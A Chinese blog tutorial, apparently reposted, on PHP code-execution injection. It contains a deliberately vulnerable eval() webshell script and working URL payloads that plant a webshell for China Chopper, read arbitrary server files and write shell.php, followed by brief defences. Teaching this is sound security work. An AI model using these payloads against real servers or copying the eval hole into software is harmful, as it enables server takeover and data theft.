代码(执行)注入
Posted 兔子长虎牙
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码(执行)注入相关的知识,希望对你有一定的参考价值。
一、PHP代码注入
代码注入(执行)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。类似于SQL注入,不同的是,SQL注入到数据库执行,而代码执行将注入到应用中最终由服务器运行它。相当于直接有一个web后门的存在。常见的是远程代码执行,简称RCE。
原因:
1.程序中含有可以执行php代码的函数或者语言结构。
2.传入第一点中的参数,客户端可控,直接修改或者影响。
危害:可以继承web用户权限,执行任意代码。读写目标服务器任意文件,控制整个服务器。
二、相关函数语句
1.eval()
eval()会将字符串当作php代码执行。
测试代码(一句话木马):
<?php
if(isset($_REQUSET['code'])){
@$str=$_REQUEST['code'];
eval($str);
}
?>
注: request 预定义超全局数组变量,get、post、cookie传参在request下都能接收的到。
传参方式,在URL路径后面加上:
?code=phpinfo(); 或者 ?code=${phpinfo()} ; 或者 ?code=1;phpinfo();
eval()函数可执行多条件语句,在后面加 ; 执行。
2.assert()
同样作为php代码执行
3.preg_replace()
对字符串进行正则处理。
4.call_user_func()
有调用其他函数的功能,该函数的第一个值作为回调函数,后面的值作为回调函数的参数。
5.动态函数:$a($b)
由直接拼接的方式调用
三、漏洞利用
1.直接获取shell
提交参数[?code=@eval($_post[1]);],即可构成一句话木马,密码为[1],可使用菜刀连接。
2.获取当前文件的绝对路径
__FILE__是PHP 预定义常量,其含义是当前文件的路径,提交代码[?code=print(__FILE__);]
3.读文件
利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。
提交代码:
?code=var_dump(file_get_contents('c:\\windows\\system32\\drivers\\etc\\hosts'));
读取服务器hosts文件。
4.写文件
利用file_put_contents()函数,写入文件。前提是知道可写目录。
提交代码:
?code=var_dump(file_put_contents($_POST[1],$_POST[2]));
要借助hackbar工具post提交参数
1=shell.php&2=<?php phpinfo()?>
即可在当前目录下创建一个文件shell.php
四、防御方法
1.尽量不要使用eval等函数
2.如果使用的话一定要严格过滤
3.preg_replace放弃使用/e修饰符
4.disable_functions=assert
以上是关于代码(执行)注入的主要内容,如果未能解决你的问题,请参考以下文章
初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段
Android 逆向Android 进程注入工具开发 ( Visual Studio 开发 Android NDK 应用 | Visual Studio 中 SDK 和 NDK 安装位置 )(代码片段
spring练习,在Eclipse搭建的Spring开发环境中,使用set注入方式,实现对象的依赖关系,通过ClassPathXmlApplicationContext实体类获取Bean对象(代码片段